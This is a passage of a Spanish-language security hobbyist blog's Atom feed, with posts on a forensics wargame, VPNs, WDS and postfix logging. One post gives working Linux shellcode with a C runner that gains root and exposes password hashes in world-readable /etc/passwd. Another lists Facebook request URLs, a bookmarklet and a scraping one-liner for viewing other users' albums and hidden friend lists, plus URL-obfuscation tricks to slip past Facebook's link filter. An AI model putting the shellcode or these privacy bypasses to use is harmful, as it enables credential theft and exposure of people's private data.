src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2474762955493019518</id><published>2010-05-06T20:21:00.005+02:00</published><updated>2011-11-21T10:57:02.670+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><title type='text'>DIGITAL FORENSIC WAR GAME</title><content type='html'>Me entero por un compañero de uno de mis foros favoritos, Wadalbertia, de este wargame de forense.&lt;br /&gt;&lt;br /&gt;Los 2 primeros niveles son asequibles, el reto esta bien, aunque me temo que el tercer nivel se me va a resistir, si es que consigo pasarlo claro...&lt;br /&gt;&lt;br /&gt;Ahi va la URL:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://real-forensic.com/"&gt;&lt;b&gt;http://real-forensic.com/&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Suerte!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2474762955493019518?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2474762955493019518' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2474762955493019518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2474762955493019518'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/05/digital-forensic-war-game.html' title='DIGITAL FORENSIC WAR GAME'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4669790352040710428</id><published>2010-03-11T18:30:00.005+01:00</published><updated>2011-11-21T11:08:47.600+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>/dev/tcp en Ubuntu 9.10 karmic</title><content type='html'>Basicamente hay que recompilar bash con la opcion&lt;br /&gt;&lt;pre class="brush: bash"&gt;--enable-net-redirections&lt;/pre&gt;&lt;br /&gt;Para despues proceder a crear los dispositivos /dev/tcp y /dev/udp con sus correspondientes valores:&lt;br /&gt;&lt;pre class="brush: bash"&gt;#Create /dev/tcp and /dev/udp devices.&lt;br /&gt;/usr/bin/sudo mknod /dev/tcp c 30 36&lt;br /&gt;/usr/bin/sudo mknod /dev/udp c 30 39&lt;/pre&gt;&lt;br /&gt;Y testearlo:&lt;br /&gt;&lt;pre class="brush: bash"&gt;#Test&lt;br /&gt;cat &amp;lt;/dev/tcp/time.nist.gov/13 &amp;&amp; echo 'All ok. Enjoy!'&lt;/pre&gt;&lt;br /&gt;Como no voy a reinventar la rueda, he adaptado el script que se puede encontrar en &lt;a href="http://www.linuxjournal.com/content/tech-tip-tcpip-access-using-bash"&gt;&lt;b&gt;los comentarios de esta entrada&lt;/b&gt;&lt;/a&gt; del &lt;a href="http://www.linuxjournal.com/"&gt;&lt;b&gt;Linux Journal&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Mas que nada porque he cambiado recientemente a ubuntu 9.10 y me interesaba practicar el segundo PDF de las Ninjitsu Series, que trata basicamente de usar netcat "sin usar netcat".&lt;br /&gt;&lt;br /&gt;Ahi va el script:&lt;br /&gt;&lt;pre class="brush: bash"&gt;#!/bin/bash&lt;br /&gt;# Written by Joseph E. Tole 09/29/09&lt;br /&gt;# Updated by G. Geurts 09/30/09&lt;br /&gt;# Updated by vlan7 03/11/10&lt;br /&gt;# /dev/tcp on Ubuntu.&lt;br /&gt;# Tested against Ubuntu 9.10 x64, bash 4.0.x&lt;br /&gt;# Enjoy!&lt;br /&gt;&lt;br /&gt;# This creates and then changes to a new temporary directory. mktemp should always be used to avoid accidently using an active file/dir.&lt;br /&gt;bash_source="$(/bin/mktemp -d)"&lt;br /&gt;cd "${bash_source}"&lt;br /&gt;&lt;br /&gt;# Install the bash source.&lt;br /&gt;apt-get source bash&lt;br /&gt;&lt;br /&gt;# Dependencies&lt;br /&gt;# The -y flag causes apt-get to assume you said yes and not prompt for y/n to install&lt;br /&gt;/usr/bin/sudo apt-get build-dep -y bash&lt;br /&gt;/usr/bin/sudo apt-get install -y dpkg-dev fakeroot&lt;br /&gt;cd bash-*&lt;br /&gt;&lt;br /&gt;# This line changes the rules file which has the configure script options predefined in it. This causes the compile to now include network support.&lt;br /&gt;/bin/sed -e 's/--disable-net-redirections/--enable-net-redirections/' -i debian/rules&lt;br /&gt;&lt;br /&gt;# This creates new .deb packages for bash which is several but we only need to install one since the others are copies of what is already installed.&lt;br /&gt;/usr/bin/dpkg-buildpackage -rfakeroot&lt;br /&gt;&lt;br /&gt;# Install the .deb. The asterisk is used for architecture independence. In my case it * matches _amd64 but this may be different on non x64 systems.&lt;br /&gt;/usr/bin/sudo /usr/bin/dpkg -i ../bash_*.deb&lt;br /&gt;&lt;br /&gt;# The line below puts bash on hold within the package manager so that it is not automatically upgraded. If it is then you will lose this functionality.&lt;br /&gt;echo 'bash hold' | /usr/bin/sudo /usr/bin/dpkg --set-selections&lt;br /&gt;&lt;br /&gt;#Create /dev/tcp and /dev/udp devices.&lt;br /&gt;/usr/bin/sudo mknod /dev/tcp c 30 36&lt;br /&gt;/usr/bin/sudo mknod /dev/udp c 30 39&lt;br /&gt;&lt;br /&gt;#Test&lt;br /&gt;cat &amp;lt;/dev/tcp/time.nist.gov/13 &amp;&amp; echo 'All ok. Enjoy!'&lt;/pre&gt;&lt;br /&gt;Suerte!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4669790352040710428?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4669790352040710428' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4669790352040710428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4669790352040710428'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/03/devtcp-en-ubuntu-910-karmic.html' title='/dev/tcp en Ubuntu 9.10 karmic'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8043025095284166444</id><published>2010-02-03T17:49:00.004+01:00</published><updated>2010-08-14T19:43:00.578+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Privacy Security Freedom</title><content type='html'>Para saltarse restricciones puestas sobre inet en paises autoritarios y censuradores como China.&lt;br /&gt;&lt;br /&gt;O para usar en WIFIs publicas por razones de seguridad y privacidad.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://thefreevpn.com/&lt;br /&gt;http://www.ultrareach.com/&lt;br /&gt;http://www.hotspotshield.com/&lt;/pre&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8043025095284166444?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8043025095284166444' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8043025095284166444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8043025095284166444'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/02/privacy-security-freedom.html' title='Privacy Security Freedom'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2256825052878092392</id><published>2010-01-21T19:24:00.008+01:00</published><updated>2010-07-16T17:54:58.320+02:00</updated><title type='text'>sɐɹqo ǝp soɯɐʇsǝ</title><content type='html'>Buenas,&lt;br /&gt;&lt;br /&gt;Estoy cambiando el aspecto del blog para que sea algo mas atractivo si cabe.&lt;br /&gt;&lt;br /&gt;De paso estoy aprovechando para revisar las entradas, formatear codigo, añadir etiquetas, etc. Todo ello en ratos muertos... Importante es que ha cambiado el RSS.&lt;br /&gt;&lt;br /&gt;Tambien estoy en proceso de configuracion de un dominio para el blog.&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://www.vlan7.org&lt;/pre&gt;&lt;br /&gt;Y para que esta no sea la primera y unica entrada sin nada mas o menos tecnico, decir que descubri &lt;a href="http://alexgorbatchev.com/wiki/SyntaxHighlighter"&gt;&lt;b&gt;SyntaxHighlighter&lt;/b&gt;&lt;/a&gt;, &lt;i&gt;a fully functional self-contained code syntax highlighter developed in JavaScript&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2256825052878092392?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2256825052878092392' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2256825052878092392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2256825052878092392'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/01/estamos-de-obras.html' title='sɐɹqo ǝp soɯɐʇsǝ'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8462712918603269702</id><published>2010-01-19T10:29:00.025+01:00</published><updated>2012-01-24T12:49:31.917+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Ver cosas que no debes en Facebook</title><content type='html'>Bueno, visto que los de Facebook pasan de mi ante cualquier hack que les reporto, los publico aqui, aunque son bobadas la mayoria, todo hay que decirlo:&lt;br /&gt;&lt;br /&gt;El mitico fallo ese de ver fotos ajenas aqui esta arreglado. Pero hagamos un poco de memoria. Solo servia para los perfiles con pesimas configuraciones de privacidad. Si tu en tu perfil especificabas que un album solo podian verlo tus amigos, entonces no habia tal bug.&lt;br /&gt;&lt;br /&gt;Bien, he encontrado otra manera de acceder a los albumes de cualquiera que los tenga configurados con una privacidad pesima. Recordemos que todo lo que hayas publicado en el pasado _mantiene_ la configuracion de privacidad establecida en su momento. Es por esto que los usuarios que publicaron albumes con las pesimas opciones por defecto de la vieja politica de privacidad, siguen teniendo sus fotos accesibles.&lt;br /&gt;&lt;br /&gt;Bien, el vector de ataque:&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://www.facebook.com/ajax/profile/tab.php?id=[AQUI_EL_uid]&amp;v=photos&amp;__a=1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Y ahi, buscad en ese tocho de JSON la URL de cada album. Debemos estar logueados en facebook.&lt;br /&gt;&lt;br /&gt;Podeis probar por ejemplo con el uid numero 4, que es el del creador del Facebook.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;theharmonyguy&lt;/b&gt; propone un excelente javascript que podemos usar para ver con mas comodidad las fotos:&lt;br /&gt;&lt;pre class="brush: jscript"&gt;javascript:(function(){function%20y(){if(x.readyState==4){q=x.responseText.substring(9);p=eval('('+q+')');document.getElementById('tab_canvas').innerHTML=p.payload.tab_content;}}x=window.XMLHttpRequest?new%20window.XMLHttpRequest:(window.ActiveXObject?new%20ActiveXObject("MSXML2.XMLHTTP"):null);x.onreadystatechange=y;x.open('POST','http://www.facebook.com/ajax/profile/tab.php',true);x.send('id='+ProfileURIController._profileId+'&amp;v=photos&amp;__a=1');})()&lt;/pre&gt;&lt;br /&gt;Podemos introducirlo como direccion en nuestros marcadores. Asi simplemente seleccionando el marcador mientras estamos viendo el perfil de alguien, se nos mostraran todas las portadas de los albumes (visibles segun su privacidad). Haciendo clic en cada una de las portadas accederemos al contenido de ese album.&lt;br /&gt;&lt;br /&gt;~&lt;br /&gt;&lt;br /&gt;Aun hay mas señores.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Private IP disclosure:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Sin necesidad de iniciar sesion:&lt;br /&gt;&lt;br /&gt;El vector de ataque:&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://www.facebook.com/ajax/presence/reconnect.php?reason=7&amp;iframe_loaded=false&amp;__a=1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Y ahi buscad los .js, abridlos en el navegador y vereis unas bonitas IPs privadas, que de nada sirven, pero bueno.&lt;br /&gt;&lt;br /&gt;~&lt;br /&gt;&lt;br /&gt;Mas.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Conocer la lista de todos los amigos de CUALQUIERA&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Sin necesidad de estar logueado.&lt;br /&gt;&lt;br /&gt;Aunque desmarques la casilla de que todos puedan ver tu lista de amigos.&lt;br /&gt;&lt;br /&gt;Esto no descubierto por mi.&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://www.facebook.com/ajax/typeahead_friends.php?u=[AQUI_EL_uid]&amp;__a=1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ya que esto no lo descubri por mi mismo, lo que si que he hecho es una linea de bash para obtener los resultados del JSON un poco mas legibles:&lt;br /&gt;&lt;pre class="brush: bash"&gt;lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&amp;__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Podria hacer mas filtrados, pero ya veis la idea...&lt;br /&gt;&lt;br /&gt;&amp;lt;EDIT&amp;gt;&lt;br /&gt;Parece ser que esto ha cambiado, pues ahora si ademas desmarcas la casilla de que no puedas ser encontrado en busquedas, en el control de privacidad, facebook no devuelve nada.&lt;br /&gt;&lt;br /&gt;Me he enterado tras enviar &lt;a href="http://www.commandlinefu.com/commands/view/4726/view-facebook-friend-list-hidden-or-not-hidden"&gt;&lt;b&gt;este comando&lt;/b&gt;&lt;/a&gt; a commandlinefu.com&lt;br /&gt;&amp;lt;/EDIT&amp;gt;&lt;br /&gt;&lt;br /&gt;Disponemos tambien &lt;a href="http://mathiasbynens.be/examples/facebook-friends"&gt;&lt;b&gt;aqui&lt;/b&gt;&lt;/a&gt; de una web para conocer estos datos online, con los mismos prerrequisitos. Gracias a &lt;b&gt;Mathias&lt;/b&gt; de &lt;b&gt;&lt;a href="http://www.commandlinefu.com"&gt;commandlinefu.com&lt;/a&gt;&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Mas.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Burlando al parser de Facebook&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Esta direccion esta prohibida en Facebook:&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=www.vlan7.org&lt;/pre&gt;&lt;br /&gt;Asi no:&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://www.facebook.com/l.php?_fb_noscript=1&amp;u=https://www.facebook.com/l.php?_fb_noscript=1&amp;u=www.vlan7.org&lt;/pre&gt;&lt;br /&gt;Mas burlas al parser de Facebook.&lt;br /&gt;&lt;br /&gt;Como publicar cualquier URL baneada por Facebook en nuestro muro&lt;br /&gt;&lt;br /&gt;Basta convertir (ofuscar) la URL convirtiendola a un entero de 32 bits. &lt;b&gt;Fravia+&lt;/b&gt; (RIP) y mas gente escribieron sobre ello en una pagina de su &lt;a href="http://www.searchlores.org"&gt;&lt;b&gt;sitio web&lt;/b&gt;&lt;/a&gt; llamada &lt;a href="http://www.searchlores.org/obscure.htm"&gt;&lt;b&gt;How to Obscure Any URL&lt;/b&gt;&lt;/a&gt;. Y para los que no se nos den bien las matematicas tenemos paginas como:&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://funkyfilters.com/url/obfuscation&lt;/pre&gt;&lt;br /&gt;Por ejemplo, asi salta un pop-up diciendo que el contenido es ofensivo y no podemos publicarlo:&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://www.facebook.com/l.php?u=http://www.facebook.com/l.php?u=http://www.facebook.com/l.php?u=www.vlan7.org&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Y asi lo burlamos y conseguimos publicar lo que nos de la gana:&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://1161803024/l.php?u=http://1161803024/l.php?u=http://1161803024/l.php?u=www.vlan7.org&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;¿Para que puede servirnos esto? mmm ¿y si lo combinamos con Metasploit y algun exploit como el Aurora? ^^&lt;br /&gt;&lt;br /&gt;Existen algunas webs marcadas como spam por facebook. Por ejemplo yo no puedo compartir mi blog en FB. Me lo salto por ejemplo asi:&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://www.stayincognito.com/nph-proxy.cgi/000100A/http/www.vlan7.org/&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;La seguridad por oscuridad no es seguridad. [Paros es bello]&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8462712918603269702?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8462712918603269702' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8462712918603269702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8462712918603269702'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/01/ver-cosas-que-no-debes-en-facebook.html' title='Ver cosas que no debes en Facebook'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8556350457756445491</id><published>2009-12-03T04:25:00.008+01:00</published><updated>2010-08-14T20:02:44.043+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><title type='text'>Wireless Distribution System (WDS)</title><content type='html'>Se que esto es algo basico, pero me lo apunto para tenerlo en cuenta en el futuro.&lt;br /&gt;&lt;br /&gt;Para distribuir la señal entre varios APs a lo largo de un edificio, quizas lo ideal seria usar WDS, que lo que permite basicamente es la interconexion de varios APs que actuarian en "modo repetidor" de la señal entre ellos.&lt;br /&gt;&lt;br /&gt;Basicamente se tienen que cumplir las siguientes condiciones: &lt;br /&gt;&lt;pre class="brush: plain"&gt;Todos los APs tienen que operar en el mismo canal.&lt;br /&gt;El ESSID de cada uno debe ser distinto, con el fin de que cada equipo sepa en cada momento a que AP esta asociado.&lt;br /&gt;En cuanto a la seguridad, puedes usar WEP/WPA y filtrado por MAC sin problemas.&lt;br /&gt;Cada AP se comunica mediante los demas por los BSSIDs (direcciones MAC) de los demas APs, por lo que de alguna manera hay que especificarlo en cada uno.&lt;/pre&gt;&lt;br /&gt;Estos 4 puntos deben cumplirse siempre para un correcto funcionamiento de WDS.&lt;br /&gt;&lt;br /&gt;Una vez implementado WDS, el proceso de asociacion de una maquina a un determinado AP es totalmente transparente para el usuario, solo hay que realizar cambios en los APs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8556350457756445491?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8556350457756445491' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8556350457756445491'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8556350457756445491'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2009/12/wireless-distribution-system-wds.html' title='Wireless Distribution System (WDS)'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4643332997576599454</id><published>2009-07-05T00:13:00.012+02:00</published><updated>2011-07-02T11:30:50.817+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='asm'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>unshadow.c shellcode</title><content type='html'>Esta shellcode deshabilita el shadowing en un sistema Linux. Todos los passwords de /etc/shadow van a /etc/passwd , legible por todo el mundo :)&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: cpp"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;const char sc[]= "\x31\xdb" //xor ebx,ebx&lt;br /&gt;  "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!&lt;br /&gt;  "\x99" //cdq&lt;br /&gt;  "\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)&lt;br /&gt;  "\xb0\x0b" //mov al,0bh&lt;br /&gt;  "\x52" //push edx /Termina la cadena con un 0&lt;br /&gt;  "\x68\x63\x6f\x6e\x76" //push dword "conv"&lt;br /&gt;  "\x68\x70\x77\x75\x6e" //push dword "pwun"&lt;br /&gt;  "\x68\x62\x69\x6e\x2f" //push dword "bin/"&lt;br /&gt;  "\x68\x73\x72\x2f\x73" //push dword "sr/s"&lt;br /&gt;  "\x68\x2f\x2f\x2f\x75" //push dword "///u"&lt;br /&gt;  "\x89\xe3" //mov ebx,esp&lt;br /&gt;  "\x89\xd1" //mov ecx,edx&lt;br /&gt;  "\xcd\x80"; //int 80h&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;  printf("\n~ This shellcode disables shadowing on a linux system ~"&lt;br /&gt;    "\n\n\t ~ Coded by vlan7 ~"&lt;br /&gt;    "\n\t ~ http://www.vlan7.org ~"&lt;br /&gt;    "\n\n ~ Date: 4/Jul/2009"&lt;br /&gt;&lt;br /&gt;    "\n\tYou'll have the passwords stored in /etc/passwd."&lt;br /&gt;    "\n\tFor undo purposes use the pwconv command."&lt;br /&gt;    "\n\t ~ Cheers go to: Wadalbertia"&lt;br /&gt;    "\n\t ~ Shellcode Size: %d bytes\n\n",&lt;br /&gt;    sizeof(sc)-1);&lt;br /&gt;&lt;br /&gt;    (*(void (*)()) sc)();&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;EDIT&amp;gt;&lt;br /&gt;No es correcta tanta optimizacion, la shellcode fue escrita sin probarla en la practica en un exploit. Si no eres ya root, da un Segmentation Fault "asin" de grande. Todo por ahorrar un byte aprovechandose de que el retorno de una funcion se guarda en EAX.&lt;br /&gt;&amp;lt;/EDIT&amp;gt;&lt;br /&gt;&lt;br /&gt;Ahi va la correcta, de 1 byte mas, aunque pendiente de probar en la practica, deberia funcionar con toda seguridad:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: cpp"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;const char sc[]= "\x31\xdb" //xor ebx,ebx&lt;br /&gt;  "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!&lt;br /&gt;  "\x99" //cdq&lt;br /&gt;  "\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)&lt;br /&gt;  "\x8d\x43\x0b" //LEA eax,[ebx + 0x0b]&lt;br /&gt;  "\x52" //push edx /Termina la cadena con un 0&lt;br /&gt;  "\x68\x63\x6f\x6e\x76" //push dword "conv"&lt;br /&gt;  "\x68\x70\x77\x75\x6e" //push dword "pwun"&lt;br /&gt;  "\x68\x62\x69\x6e\x2f" //push dword "bin/"&lt;br /&gt;  "\x68\x73\x72\x2f\x73" //push dword "sr/s"&lt;br /&gt;  "\x68\x2f\x2f\x2f\x75" //push dword "///u"&lt;br /&gt;  "\x89\xe3" //mov ebx,esp&lt;br /&gt;  "\x89\xd1" //mov ecx,edx&lt;br /&gt;  "\xcd\x80"; //int 80h&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;  printf("\n~ This shellcode disables shadowing on a linux system ~"&lt;br /&gt;    "\n\n\t ~ Coded by vlan7 ~"&lt;br /&gt;    "\n\t ~ http://www.vlan7.org ~"&lt;br /&gt;    "\n\n ~ Date: 4/Jul/2009"&lt;br /&gt;&lt;br /&gt;    "\n\tYou'll have the passwords stored in /etc/passwd."&lt;br /&gt;    "\n\tFor undo purposes use the pwconv command."&lt;br /&gt;    "\n\t ~ Cheers go to: Wadalbertia"&lt;br /&gt;    "\n\t ~ Shellcode Size: %d bytes\n\n",&lt;br /&gt;    sizeof(sc)-1);&lt;br /&gt;&lt;br /&gt;    (*(void (*)()) sc)();&lt;br /&gt;}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4643332997576599454?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4643332997576599454' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4643332997576599454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4643332997576599454'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2009/07/unshadowc-shellcode.html' title='unshadow.c shellcode'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4351948774202818761</id><published>2009-06-27T10:00:00.009+02:00</published><updated>2010-08-14T20:17:35.880+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='logs'/><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><title type='text'>postfix + logrotate</title><content type='html'>LOGUEANDO 2 INSTANCIAS DE POSTFIX EN 2 ARCHIVOS DIFERENTES:&lt;br /&gt;=======================================================&lt;br /&gt;&lt;br /&gt;&lt;u&gt;/etc/postfix/main.cf&lt;/u&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;syslog_facility=local1&lt;br /&gt;syslog_name=postfix_smtpExtern&lt;/pre&gt;&lt;br /&gt;&lt;u&gt;/etc/postfix-out/main.cf&lt;/u&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;syslog_facility=local2&lt;br /&gt;syslog_name=postfix_smtpIntern&lt;/pre&gt;&lt;br /&gt;&lt;u&gt;/etc/rsyslog.conf&lt;/u&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;# Log anything (except mail) of level info or higher.&lt;br /&gt;# Don't log private authentication messages!&lt;br /&gt;*.info;mail.none;authpriv.none;cron.none;local1.none;local2.none /var/log/messages&lt;br /&gt;(...)&lt;br /&gt;local2.* -/var/log/smtpdIntern.log&lt;br /&gt;local1.* -/var/log/smtpdExtern.log&lt;/pre&gt;&lt;br /&gt;&lt;u&gt;Reiniciar demonios&lt;/u&gt;&lt;br 